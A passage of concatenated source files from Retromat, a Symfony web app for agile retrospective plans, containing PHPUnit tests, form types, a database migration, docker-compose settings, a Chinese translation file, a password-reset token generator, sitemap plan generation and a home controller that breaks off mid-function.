use Doctrine\ORM\EntityRepository;
use Liip\FunctionalTestBundle\Test\WebTestCase;
class ActivityByPhaseTest extends WebTestCase
{
/**
* @var ActivityByPhase
*/
private $activityByPhase;
public function setUp(): void
{
$activityByPhase = [
0 => [1, 2, 3, 18, 22, 31, 32, 36, 42, 43, 46, 52, 59, 70, 76, 81, 82, 84, 85, 90, 106, 107, 108, 114, 122],
1 => [4, 5, 6, 7, 19, 33, 35, 47, 51, 54, 62, 64, 65, 75, 78, 79, 80, 86, 87, 89, 93, 97, 98, 110, 116, 119, 121, 123, 126, 127],
2 => [8, 9, 10, 20, 25, 26, 37, 41, 50, 55, 58, 66, 68, 69, 74, 91, 94, 95, 105, 113, 115, 118],
3 => [11, 12, 13, 21, 24, 29, 38, 39, 48, 49, 61, 63, 72, 73, 88, 96, 99, 100, 103, 117, 124, 125],
4 => [14, 15, 16, 17, 23, 34, 40, 44, 45, 53, 57, 60, 67, 71, 77, 83, 92, 101, 102, 104, 109, 112, 120],
5 => [27, 28, 30, 56, 111],
];
$activityRepository = $this
->getMockBuilder(EntityRepository::class)
->setMethods(['findAllActivitiesByPhases'])
->disableOriginalConstructor()
->getMock();
$activityRepository->expects($this->any())
->method('findAllActivitiesByPhases')
->willReturn($activityByPhase);
$entityManager = $this
->getMockBuilder(EntityManager::class)
->disableOriginalConstructor()
->getMock();
$entityManager->expects($this->any())
->method('getRepository')
->willReturn($activityRepository);
$this->activityByPhase = new ActivityByPhase($entityManager);
}
public function testGetAllActivitiesByPhase()
{
$activityByPhase = $this->activityByPhase;
$activitiesByPhase = $activityByPhase->getAllActivitiesByPhase();
$this->assertEquals(3, $activitiesByPhase[0][2]);
$this->assertEquals(18, $activitiesByPhase[0][3]);
$this->assertEquals(4, $activitiesByPhase[1][0]);
$this->assertEquals(8, $activitiesByPhase[2][0]);
$this->assertEquals(11, $activitiesByPhase[3][0]);
$this->assertEquals(21, $activitiesByPhase[3][3]);
$this->assertEquals(14, $activitiesByPhase[4][0]);
$this->assertEquals(27, $activitiesByPhase[5][0]);
}
public function testGetActivitiesString()
{
$activityByPhase = $this->activityByPhase;
$this->assertEquals(
'1-2-3-18-22-31-32-36-42-43-46-52-59-70-76-81-82-84-85-90-106-107-108-114-122',
$activityByPhase->getActivitiesString(0)
);
$this->assertEquals('27-28-30-56-111', $activityByPhase->getActivitiesString(5));
}
public function testNextActivityIdInPhase()
{
$activityByPhase = $this->activityByPhase;
$this->assertEquals('31', $activityByPhase->nextActivityIdInPhase(0, 22));
$this->assertEquals('24', $activityByPhase->nextActivityIdInPhase(3, 21));
$this->assertEquals('1', $activityByPhase->nextActivityIdInPhase(0, 122));
}
public function testPreviousActivityIdInPhase()
{
$activityByPhase = $this->activityByPhase;
$this->assertEquals('18', $activityByPhase->previousActivityIdInPhase(0, 22));
$this->assertEquals('13', $activityByPhase->previousActivityIdInPhase(3, 21));
$this->assertEquals('122', $activityByPhase->previousActivityIdInPhase(0, 1));
}
public function testNextIds()
{
$activityByPhase = $this->activityByPhase;
$this->assertEquals([18], $activityByPhase->nextIds([3], 3, 0));
$this->assertEquals([18, 87, 113, 13, 16], $activityByPhase->nextIds([3, 87, 113, 13, 16], 3, 0));
$this->assertEquals([1, 87, 113, 13, 16], $activityByPhase->nextIds([122, 87, 113, 13, 16], 122, 0));
$this->assertEquals([3, 89, 113, 13, 16], $activityByPhase->nextIds([3, 87, 113, 13, 16], 87, 1));
}
public function testPreviousIds()
{
$activityByPhase = $this->activityByPhase;
$this->assertEquals([3], $activityByPhase->previousIds([18], 18, 0));
$this->assertEquals([122], $activityByPhase->previousIds([1], 1, 0));
}
public function testActiviyIdsUnique()
{
$activityByPhase = $this->activityByPhase;
$activities = [];
foreach ($activityByPhase->getAllActivitiesByPhase() as $activitiesInPhase) {
$activities = \array_merge($activities, $activitiesInPhase);
}
$this->assertEquals(\array_unique($activities), $activities);
}
}
<file_sep><?php
namespace App\Form;
use App\Entity\Activity;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
use Symfony\Component\Form\Extension\Core\Type\TextareaType;
use Symfony\Component\Form\Extension\Core\Type\TextType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
class ActivityType extends AbstractType
{
/**
* @param FormBuilderInterface $builder
* @param array $options
*/
public function buildForm(FormBuilderInterface $builder, array $options): void
{
$builder
->add('retromatId', TextType::class, ['disabled' => true])
->add(
'phase',
ChoiceType::class,
[
'choices' => [
'0 Set the stage' => 0,
'1 Gather data' => 1,
'2 Generate Insight' => 2,
'3 Decide what to do' => 3,
'4 Close' => 4,
'5 Something completely different' => 5,
],
]
)
->add('name', TextareaType::class)
->add('summary', TextareaType::class)
->add('desc', TextareaType::class)
->add('duration', TextareaType::class, ['required' => false])
->add('source', TextareaType::class, ['required' => false])
->add('more', TextareaType::class, ['required' => false])
->add('stage', TextareaType::class, ['required' => false])
->add('suitable', TextareaType::class, ['required' => false])
->add('forumUrl', TextareaType::class, ['required' => false]);
}
/**
* @param OptionsResolver $resolver
*/
public function configureOptions(OptionsResolver $resolver): void
{
$resolver->setDefaults([
'data_class' => Activity::class,
]);
}
/**
* @return string
*/
public function getBlockPrefix(): string
{
return 'app_activity';
}
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20170920170407 extends AbstractMigration
{
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function up(Schema $schema): void
{
// this up() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('DROP TABLE activity');
}
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function down(Schema $schema): void
{
// this down() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('CREATE TABLE activity (doctrine_id INT AUTO_INCREMENT NOT NULL, retromat_id SMALLINT NOT NULL, language VARCHAR(2) NOT NULL COLLATE utf8_unicode_ci, phase SMALLINT NOT NULL, name VARCHAR(255) NOT NULL COLLATE utf8_unicode_ci, summary VARCHAR(255) NOT NULL COLLATE utf8_unicode_ci, `desc` LONGTEXT NOT NULL COLLATE utf8_unicode_ci, duration VARCHAR(255) DEFAULT NULL COLLATE utf8_unicode_ci, source LONGTEXT DEFAULT NULL COLLATE utf8_unicode_ci, more LONGTEXT DEFAULT NULL COLLATE utf8_unicode_ci, suitable VARCHAR(255) DEFAULT NULL COLLATE utf8_unicode_ci, UNIQUE INDEX UNIQ_AC74095AA9A6C442 (retromat_id), INDEX retromatId_index (retromat_id), INDEX phase_index (phase), PRIMARY KEY(doctrine_id)) DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');
}
}
<file_sep>version: '3.1'
services:
httpd:
build:
context: .
dockerfile: ./backend/docker/httpd/Dockerfile
volumes:
- ./backend/public:/app/backend/public
depends_on:
- php-fpm
ports:
- 8080:80
networks:
- retromat
php-fpm:
build:
context: .
dockerfile: ./backend/docker/php-fpm/Dockerfile
volumes:
- .:/app
depends_on:
- db
networks:
- retromat
db:
image: mariadb
ports:
- 3306:3306
environment:
MYSQL_ROOT_PASSWORD: <PASSWORD>
networks:
- retromat
redis:
image: redis
ports:
- 6379:6379
networks:
- retromat
phpmyadmin:
image: phpmyadmin/phpmyadmin
links:
- db:db
ports:
- 8181:80
networks:
- retromat
mailcatcher:
image: schickling/mailcatcher
ports:
- 1025:1025
- 1080:1080
networks:
- retromat
networks:
retromat:
driver: bridge
<file_sep><?php
namespace App\Tests\Repository\DataFixtures;
use App\Entity\Activity;
use Doctrine\Bundle\FixturesBundle\Fixture;
use Doctrine\Persistence\ObjectManager;
class LoadActivityDataForTestFindAllActivitiesForPhases extends Fixture
{
public function load(ObjectManager $manager)
{
$activities[] = (new Activity())->setRetromatId(1)->setPhase((0));
$activities[] = (new Activity())->setRetromatId(2)->setPhase((1));
$activities[] = (new Activity())->setRetromatId(3)->setPhase((2));
$activities[] = (new Activity())->setRetromatId(4)->setPhase((3));
$activities[] = (new Activity())->setRetromatId(5)->setPhase((4));
$activities[] = (new Activity())->setRetromatId(6)->setPhase((5));
$activities[] = (new Activity())->setRetromatId(7)->setPhase((0));
$activities[] = (new Activity())->setRetromatId(8)->setPhase((1));
$activities[] = (new Activity())->setRetromatId(9)->setPhase((2));
$activities[] = (new Activity())->setRetromatId(10)->setPhase((3));
$activities[] = (new Activity())->setRetromatId(11)->setPhase((4));
$activities[] = (new Activity())->setRetromatId(12)->setPhase((5));
foreach ($activities as $activity) {
$activity->setName('foo')->setSummary('foo')->setDesc('foo');
$activity->mergeNewTranslations();
$manager->persist($activity);
}
$manager->flush();
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Controller;
use App\Tests\AbstractTestCase;
final class ActivityControllerTest extends AbstractTestCase
{
public function setUp(): void
{
$this->loadFixtures([]);
}
public function testActivityNameEnglish()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activity/32');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'Emoticon Project Gauge',
$activity['name']
);
$client->request('GET', '/api/activity/59');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'Happiness Histogram',
$activity['name']
);
$client->request('GET', '/api/activity/80');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'Repeat & Avoid',
$activity['name']
);
}
public function testActivityNameGerman()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activity/32?locale=de');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'Projekt-Gefühlsmesser',
$activity['name']
);
$client->request('GET', '/api/activity/58?locale=de');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'Verdeckter Boss',
$activity['name']
);
$client->request('GET', '/api/activity/75?locale=de');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'Schreibe das Unaussprechliche',
$activity['name']
);
}
public function testActivitySourceSimpleString()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activity/17');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'<a href="http://fairlygoodpractices.com/samolo.htm">Fairly good practices</a>',
$activity['source']
);
$client->request('GET', '/api/activity/80');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'<a href="http://www.infoq.com/minibooks/agile-retrospectives-value"><NAME></a>',
$activity['source']
);
}
public function testActivitySourcePlaceholder()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activity/77');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'<a href="https://leanpub.com/ErfolgreicheRetrospektiven"><NAME></a>',
$activity['source']
);
$client->request('GET', '/api/activity/5');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'<a href="http://www.finding-marbles.com/"><NAME></a>',
$activity['source']
);
}
public function testActivitySourcePlaceholderAndString()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activity/15');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'<a href="http://www.amazon.com/Agile-Retrospectives-Making-Teams-Great/dp/0977616649/">Agile Retrospectives</a> who took it from \'The Satir Model: Family Therapy and Beyond\'',
$activity['source']
);
$client->request('GET', '/api/activity/37');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'<a href="http://www.amazon.com/Innovation-Games-Creating-Breakthrough-Collaborative/dp/0321437292/"><NAME></a>, found at <a href="http://www.ayeconference.com/appreciativeretrospective/"><NAME></a>',
$activity['source']
);
}
public function testActivitySourceStringAndPlaceholder()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activity/14');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'ALE 2011, <a href="http://www.finding-marbles.com/"><NAME></a>',
$activity['source']
);
$client->request('GET', '/api/activity/65');
$activity = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'<a href="http://blog.8thlight.com/doug-bradbury/2011/09/19/apreciative_inquiry_retrospectives.html"><NAME></a>, adapted for SW development by <a href="http://www.finding-marbles.com/"><NAME></a>',
$activity['source']
);
}
public function testExpandedActivitySourceInCollectionRequests()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activities');
$activities = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(
'ALE 2011, <a href="http://www.finding-marbles.com/"><NAME></a>',
$activities[14 - 1]['source']
);
$this->assertEquals(
'<a href="http://blog.8thlight.com/doug-bradbury/2011/09/19/apreciative_inquiry_retrospectives.html"><NAME></a>, adapted for SW development by <a href="http://www.finding-marbles.com/"><NAME></a>',
$activities[65 - 1]['source']
);
}
public function testActivityIdsAndNamesInCollectionRequestsEnglish()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activities');
$activities = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(1, $activities[1 - 1]['retromatId']);
$this->assertEquals(32, $activities[32 - 1]['retromatId']);
$this->assertEquals(100, $activities[100 - 1]['retromatId']);
$this->assertEquals('Emoticon Project Gauge', $activities[32 - 1]['name']);
$this->assertEquals('Happiness Histogram', $activities[59 - 1]['name']);
$this->assertEquals('Repeat & Avoid', $activities[80 - 1]['name']);
}
public function testActivityIdsAndNamesInCollectionRequestsGerman()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activities?locale=de');
$activities = \json_decode($client->getResponse()->getContent(), true);
$this->assertEquals(1, $activities[1 - 1]['retromatId']);
$this->assertEquals(32, $activities[32 - 1]['retromatId']);
$this->assertEquals(75, $activities[75 - 1]['retromatId']);
$this->assertEquals('Projekt-Gefühlsmesser', $activities[32 - 1]['name']);
$this->assertEquals('Verdeckter Boss', $activities[58 - 1]['name']);
$this->assertEquals('Schreibe das Unaussprechliche', $activities[75 - 1]['name']);
}
public function testOnlyTranslatedActivitiesInCollectionRequests()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', '/api/activities?locale=de');
$activities = \json_decode($client->getResponse()->getContent(), true);
$this->assertCount(75, $activities);
$client->request('GET', '/api/activities?locale=en');
$activities = \json_decode($client->getResponse()->getContent(), true);
$this->assertCount(131, $activities);
$client->request('GET', '/api/activities?locale=es');
$activities = \json_decode($client->getResponse()->getContent(), true);
$this->assertCount(95, $activities);
$client->request('GET', '/api/activities?locale=fr');
$activities = \json_decode($client->getResponse()->getContent(), true);
$this->assertCount(50, $activities);
$client->request('GET', '/api/activities?locale=nl');
$activities = \json_decode($client->getResponse()->getContent(), true);
$this->assertCount(101, $activities);
}
}
<file_sep><?php
$_lang['HTML_TITLE'] = '(敏捷)回顾的灵感和方案';
$_lang['INDEX_PITCH'] = '正在规划你的下一个敏捷<b>回顾</b>? 从一个随机的设计方案开始,进行相应的调整来让其适合团队的现状, 打印设计方案并分享它的链接。或者四处看看然后制定自己的方案!<br><br>如果这是你的第一次回顾会议? <a href="/blog/best-retrospective-for-beginners/">请从这里开始!</a>';
$_lang['INDEX_PLAN_ID'] = '当前方案ID:';
$_lang['INDEX_BUTTON_SHOW'] = '显示!';
$_lang['INDEX_RANDOM_RETRO'] = '新的随机回顾方案';
$_lang['INDEX_SEARCH_KEYWORD'] = '按关键字或ID查找活动';
$_lang['INDEX_ALL_ACTIVITIES'] = '所有活动 其归属于';
$_lang['INDEX_LOADING'] = '... 加载活动 ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://finding-marbles.com/retr-o-mat/what-is-a-retrospective/">回顾是什么?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">关于Retromat</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">Print Edition</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>">添加活动</a>';
if (is_output_format_twig($argv)) {
$_lang['INDEX_ABOUT'] = "{% include 'home/footer/footer.html.twig' %}";
} else {
$_lang['INDEX_ABOUT'] = 'Retromat contains <span class="js_footer_no_of_activities"></span> activities, allowing for <span class="js_footer_no_of_combinations"></span> combinations (<span class="js_footer_no_of_combinations_formula"></span>) and we are constantly adding more.'; // Do you know a great activity?
}
$_lang['INDEX_ABOUT_SUGGEST'] = 'Suggest it';
$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = '翻译组织者: ';
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = '王存浩';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = 'https://cunhaowang.github.io/js/';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/cunhao.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
敏捷教练,敏捷突击队发起人,热衷于敏捷相关的研究和分享,为了让更多中国的敏捷爱好者可以更好地设计自己的回顾会议,组织了翻译小组把retromat译为中文。翻译小组成员:周嘉敏,余旭峰,杨莹,李希兰,朱明,钟明,徐亚平,王如夫,卜夙,黄雅琴,杨贵,周伟峰,陆炜,陈艳艳,王存浩。可以通过Email: <EMAIL>, 微信ID: cunhaowang和王存浩进行联系。
EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Created by ';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Corinna wished for something like Retromat during her Scrummaster years.
Eventually she just built it herself in the hope that it would be useful to others, too.
Any questions, suggestions or encouragement?
You can <a href="mailto:cor<EMAIL>">email her</a> or
<a href="https://twitter.com/corinnabaldauf">follow her on Twitter</a>.
If you like Retromat you might also like <a href="http://finding-marbles.com">Corinna's blog</a> and her <a href="http://wall-skills.com">summaries on Wall-Skills.com</a>.
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Co-developed by ';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
Timon gives <a href="/en/team/timon">Scrum Trainings</a>. As Integral Coach and <a href="/en/team/timon">Agile Coach</a> he coaches executives, managers, product owners and scrum masters. He has used Retromat since 2013 and started to build new features in 2016. You can <a href="mailto:<EMAIL>">email him</a> or
<a href="https://twitter.com/TimonFiddike">follow him on Twitter</a>. Photo © Ina Abraham.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = '来源:';
$_lang['ACTIVITY_PREV'] = '显示该阶段的其他活动';
$_lang['ACTIVITY_NEXT'] = '显示该阶段的其他活动';
$_lang['ACTIVITY_PHOTO_ADD'] = '添加图片';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Photos%20for%20Activity%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hi%20Corinna%21%0D%0A%0D%0A[%20]%20Photo%20is%20attached%0D%0A[%20]%20Photo%20is%20online%20at%3A%20%0D%0A%0D%0ABest%2C%0D%0AYour%20Name';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = '查看图片';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = '查看图片';
$_lang['ACTIVITY_PHOTO_BY'] = '图片来自 ';
$_lang['ERROR_NO_SCRIPT'] = 'Retromat需要JavaScript才能运行。请在浏览器中启用JavaScript。 谢谢!';
$_lang['ERROR_MISSING_ACTIVITY'] = 'Sorry, 找不到该ID对应的活动';
$_lang['POPUP_CLOSE'] = '关闭';
$_lang['POPUP_IDS_BUTTON'] = '显示!';
$_lang['POPUP_IDS_INFO']= '示例ID: 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = '查找';
$_lang['POPUP_SEARCH_INFO']= '查找标题,概要和描述';
$_lang['POPUP_SEARCH_NO_RESULTS'] = 'Sorry, 没有找到';
<file_sep><?php
namespace App\Model\User\Generator;
use App\Model\User\Model\UserResetPasswordTokenComponents;
use Symfony\Component\Security\Core\User\UserInterface;
final class UserResetPasswordTokenGenerator
{
private string $signingKey;
/**
* @param string $signingKey
*/
public function __construct(string $signingKey)
{
$this->signingKey = $signingKey;
}
/**
* @param \DateTimeInterface $expiresAt
* @param UserInterface $user
* @param string|null $verifier
* @return UserResetPasswordTokenComponents
* @throws \Exception
*/
public function generate(\DateTimeInterface $expiresAt, UserInterface $user, string $verifier = null): UserResetPasswordTokenComponents
{
if (null === $verifier) {
$verifier = $this->getRandomString();
}
$selector = $this->getRandomString();
$hashedToken = $this->getHashedToken(
$verifier,
$user->getId(),
$expiresAt->getTimestamp()
);
return new UserResetPasswordTokenComponents(
$selector,
$verifier,
$hashedToken
);
}
/**
* @return string
* @throws \Exception
*/
private function getRandomString(): string
{
return \md5(\random_bytes(25));
}
/**
* @param string $verifier
* @param int $userId
* @param int $expiresAtTimestamp
* @return string
*/
private function getHashedToken(string $verifier, int $userId, int $expiresAtTimestamp): string
{
return \base64_encode(\hash_hmac(
'sha256',
\json_encode([$verifier, $userId, $expiresAtTimestamp]),
$this->signingKey,
true
));
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Sitemap;
use App\Model\Activity\ActivityByPhase;
use App\Model\Sitemap\PlanUrlGenerator;
use App\Model\Sitemap\PlanIdGenerator;
use PHPUnit\Framework\TestCase;
use Presta\SitemapBundle\Service\UrlContainerInterface;
use Presta\SitemapBundle\Sitemap\Url\Url;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
use Symfony\Component\Routing\RequestContext;
class PlanUrlGeneratorIntegrationTest extends TestCase implements UrlContainerInterface, UrlGeneratorInterface
{
private array $urlContainer;
private string $baseUrl = 'https://plans-for-retrospectives.com/en/?id=';
/**
* @return void
*/
public function testPopulatePlans(): void
{
$activitiesByPhase = [
0 => [1, 6],
1 => [2, 7],
2 => [3],
3 => [4],
4 => [5],
];
$activityByPhase = $this
->getMockBuilder(ActivityByPhase::class)
->setMethods(['getAllActivitiesByPhase'])
->disableOriginalConstructor()
->getMock();
$activityByPhase->expects($this->any())
->method('getAllActivitiesByPhase')
->willReturn($activitiesByPhase);
$idGenerator = new PlanIdGenerator($activityByPhase);
$planUrlGenerator = new PlanUrlGenerator($this, $idGenerator);
$this->urlContainer = [];
$planUrlGenerator->generatePlanUrls($this);
$this->assertEquals($this->baseUrl.'1-2-3-4-5', $this->urlContainer[0]->getLoc());
$this->assertEquals($this->baseUrl.'6-2-3-4-5', $this->urlContainer[1]->getLoc());
$this->assertEquals($this->baseUrl.'1-7-3-4-5', $this->urlContainer[2]->getLoc());
$this->assertEquals($this->baseUrl.'6-7-3-4-5', $this->urlContainer[3]->getLoc());
}
/**
* @param Url $url
* @param string $section
* @return void
*/
public function addUrl(Url $url, string $section): void
{
$this->urlContainer[] = $url;
}
/**
* @param string $name
* @param array $parameters
* @param int $referenceType
* @return string
*/
public function generate(string $name, array $parameters = array(), int $referenceType = self::ABSOLUTE_PATH): string
{
return $this->baseUrl.$parameters['id'];
}
/**
* @param RequestContext $context
* @return void
*/
public function setContext(RequestContext $context): void
{
}
/**
* @return void
*/
public function getContext(): void
{
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Sitemap;
use App\Model\Activity\ActivityByPhase;
class PlanIdGenerator
{
private const MAX_RESULTS = 1000000;
private ActivityByPhase $activityByPhase;
/**
* @param ActivityByPhase $activityByPhase
*/
public function __construct(ActivityByPhase $activityByPhase)
{
$this->activityByPhase = $activityByPhase;
}
/**
* @param callable $callback
* @param int $maxResults
* @param int $skip
* @throws \Exception
*/
public function generate(callable $callback, int $maxResults = self::MAX_RESULTS, int $skip = 0): void
{
if (self::MAX_RESULTS > PHP_INT_MAX) {
throw new \Exception(
\sprintf('Desired result loop "%d" is greater than the php internal "%d".', PHP_INT_MAX, self::MAX_RESULTS)
);
}
$activitiesByPhase = $this->activityByPhase->getAllActivitiesByPhase();
$totalResults = 0;
foreach ($activitiesByPhase[4] as $id4) {
foreach ($activitiesByPhase[3] as $id3) {
foreach ($activitiesByPhase[2] as $id2) {
foreach ($activitiesByPhase[1] as $id1) {
foreach ($activitiesByPhase[0] as $id0) {
if ($totalResults >= $maxResults) {
return;
} elseif (0 < $skip) {
--$skip;
} else {
++$totalResults;
\call_user_func($callback, $id0.'-'.$id1.'-'.$id2.'-'.$id3.'-'.$id4);
}
}
}
}
}
}
}
}
<file_sep><?php
namespace App\Form;
use App\Entity\User;
use App\Model\User\UserManager;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
use Symfony\Component\Form\Extension\Core\Type\EmailType;
use Symfony\Component\Form\Extension\Core\Type\TextType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
use Symfony\Component\Validator\Constraints\Email;
use Symfony\Component\Validator\Constraints\Length;
use Symfony\Component\Validator\Constraints\NotBlank;
class TeamUserType extends AbstractType
{
public const USERNAME_LENGTH_MIN = 3;
public const USERNAME_LENGTH_MAX = 20;
/**
* @param FormBuilderInterface $builder
* @param array $options
*/
public function buildForm(FormBuilderInterface $builder, array $options): void
{
$builder
->add('username', TextType::class, [
'constraints' => [
new NotBlank([
'message' => 'Please enter a password',
]),
new Length([
'min' => self::USERNAME_LENGTH_MIN,
'minMessage' => 'Your password should be at least {{ limit }} characters',
'max' => self::USERNAME_LENGTH_MAX,
]),
],
])
->add('email', EmailType::class, [
'constraints' => [
new NotBlank([
'message' => 'Please enter a email address',
]),
new Email([
'message' => 'Invalid email address'
])
],
])
->add('enabled')
->add('roles', ChoiceType::class, [
'choices' => $this->getRolesCombined(),
'multiple' => true
]);
}
/**
* @param OptionsResolver $resolver
*/
public function configureOptions(OptionsResolver $resolver): void
{
$resolver->setDefaults([
'data_class' => User::class,
]);
}
/**
* @return array|string[]
*/
private function getRolesCombined(): array
{
return \array_combine(UserManager::ROLES, UserManager::ROLES);
}
}
<file_sep><?php
namespace App\Controller;
use App\Model\Activity\ActivityByPhase;
use App\Model\Activity\Expander\ActivityExpander;
use App\Model\Plan\DescriptionRenderer;
use App\Model\Plan\Exception\InconsistentInputException;
use App\Model\Plan\Exception\NoGroupLeftToDrop;
use App\Model\Plan\TitleChooser;
use App\Model\Twig\ColorVariation;
use App\Repository\ActivityRepository;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
class HomeController extends AbstractController
{
private ActivityExpander $activityExpander;
private ColorVariation $colorVariation;
private ActivityByPhase $activityByPhase;
private TitleChooser $titleChooser;
private DescriptionRenderer $descriptionRenderer;
private ActivityRepository $activityRepository;
public function __construct(
ActivityExpander $activityExpander,
ColorVariation $colorVariation,
ActivityByPhase $activityByPhase,
TitleChooser $titleChooser,
DescriptionRenderer $descriptionRenderer,
ActivityRepository $activityRepository
) {
$this->activityExpander = $activityExpander;
$this->colorVariation = $colorVariation;
$this->activityByPhase = $activityByPhase;
$this->titleChooser = $titleChooser;
$this->descriptionRenderer = $descriptionRenderer;
$this->activityRepository = $activityRepository;
}
/**
* @Route("/{_locale}/", requirements={"_locale": "en|de|fa|fr|es|ja|nl|pl|pt-br|ru|zh"}, name="activities_by_id")
* @param Request $request
* @return Response
*/
public function homeAction(Request $request)
{
$locale = $request->getLocale();
$ids = $this->parseIds($request->query->get('id'));
$phase = $request->query->get('phase');
$activities = [];
$title = '';
$description = '';
if (0 < \count($ids) and ('en' === $locale or 'de' === $locale or 'ru' === $locale)) {
$activities = $this->activityRepository->findOrdered($ids);
if (\count($ids) !== \count($activities)) {
throw $this->createNotFoundException();
}
foreach ($activities as $activity) {
$this->activityExpander->expandSource($activity);
}
list($title, $description) = $this->planTitleAndDescription($ids, $activities, $locale);
}
return $this->render(
'home/generated/index_'.$locale.'.html.twig',
[
'ids' => $ids,
'phase' => $phase,
'activities' => $activities,
'color_variation' => $this->colorVariation,
'activity_by_phase' => $this->activityByPhase,
'title' => $title,
'description' => $description,
]
);
}
/**
* @Route("/", defaults={"_locale": "en"}, name="home_slash")
* @Route("/index.html", defaults={"_locale": "en"}, name="home_index")
* @Route("/index_{_locale}.html", requirements={"_locale": "en|de|fa|fr|es|ja|nl|pl|pt-br|ru|zh"}, name="home")
* @param Request $request
* @return RedirectResponse
*/
public function redirectAction(Request $request): RedirectResponse
{
return $this->redirectToRoute(
'activities_by_id',
['id' => $request->query->get('id'), 'phase' => $request->query->get('phase')],
301
);
}
/**
* @param $idString
* @return array
*/
private function parseIds(string $idString = null): array
{
$ids = [];
if (!empty($idString)) {
$rawIds = \explode('-', $idString);
foreach ($rawIds as $rawId) {
$id = (int)$rawId;
if (0 !== $id and (string)$id === $rawId) {
$ids[] = $id;
} else {
